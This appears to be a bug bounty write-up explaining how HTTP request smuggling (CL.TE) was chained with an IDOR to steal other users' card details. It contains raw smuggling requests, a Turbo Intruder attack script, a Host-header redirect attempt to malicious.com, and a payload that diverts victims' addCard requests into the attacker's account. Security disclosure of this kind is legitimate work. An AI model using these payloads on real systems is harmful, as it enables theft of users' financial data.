HTTP Request Smuggling + IDOR

05/12/2019

HTTP Request Smuggling or HTTP Desync is one of the trendy vulnerabilities of the moment and one of my favorites, because it allows you to greatly increase the severity of most common bugs. Here, in this first of a series of HTTP Request Smuggling chained vulnerabilities I've found, I'll explain how I chained it with a inoffensive IDOR to retrieve some user highly confidential information.

Everything is redacted and highly modified to not disclose this bug bounty program's information.


All started thanks to Burp's Request Smuggler plugin with which I detected a possible vulnerable CL.TE endpoint.

I like to create my own pocs to confirm if an endpoint is indeed vulnerable, so I used the following crafted request to test this CL.TE.

POST / HTTP/1.1
 Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k

What I try to achieve with this request is:

In the following pictures it's possible to see the expected behavior.

Since the back-end uses Transfer-Encoding: chunked it will only answer till the 0 returning a 404 (the default code for a POST to /) and leaving the remaining part unprocessed.

When the next request arrives (GET /), that remaining part is processed with it, modifying the other user's request.

This can be achieved with the following Turbo Intruder script.

def queueRequests(target, wordlists):

    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=5,
                           requestsPerConnection=1,
                           resumeSSL=False,
                           timeout=10,
                           pipeline=False,
                           maxRetriesPerRequest=0,
                           engine=Engine.THREADED,
                           )
    engine.start()

    attack = '''POST / HTTP/1.1
 Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

    engine.queue(attack)

    victim = '''GET / HTTP/1.1
Host: xxx.com

'''
    for i in range(14):
        engine.queue(victim)
        time.sleep(0.05)

def handleResponse(req, interesting):
    table.add(req)

We can see how the malicious request is sent first and then, 14 simple GET to / which return a 404.

But since this system is vulnerable, one of those simple GET was internally modified by our malicious request and returns a different response (the 302 which corresponds to /admin7).

What I usually try in these situations is changing the Host header in order to redirect the victim to a different website which will be already considered as a high vulnerability.

POST / HTTP/1.1
 Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 55
Foo: bar

0

POST /admin7 HTTP/1.1
Host: malicious.com
Content-Length: 100

kk

Unfortunately this nor any request trying to append the victim's req in the body of my target request didn't work, which made me think that maybe an internal header was being set internally and only requests with that header were processed.

I tried to find an endpoint which would allow me to reflect internal headers, but I couldn't find any, instead I found something better, a hidden swagger with all user endpoint's documentation.

I started testing that API, I was able to create my own user and found that some endpoints were potentially vulnerable to IDOR.

For example, this endpoint (/addCard) which allowed to add a credit card to your account (in reality it wasn't credit cards, but this is easier to understand). You can see how any authorization header nor session cookie is being used, only the user id is needed (675ygtyt675erp) to add a new card.

POST /addCard/675ygtyt675erp HTTP/1.1
Host: xx.com
Content-Type: application/json
Content-Length: 83

{"name": "Name","card": "12345", "exp": "00/00", "cvv": "000"}

But just this behavior shouldn't be considered a real vulnerability, since why would someone add a valid credit card to another user?

Here comes how with HTTP Request Smuggling we can turn this into an IDOR on steroids.

POST / HTTP/1.1
 Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 70
Foo: bar

0

POST /addCard/675ygtyt675erp HTTP/1.1
x-ff: kk

Using that request what I'm doing is modifying the path of the next request and if that next request happens to be an addCard request, the card will be added to an account under my control (675ygtyt675erp) being able to retrieve that information.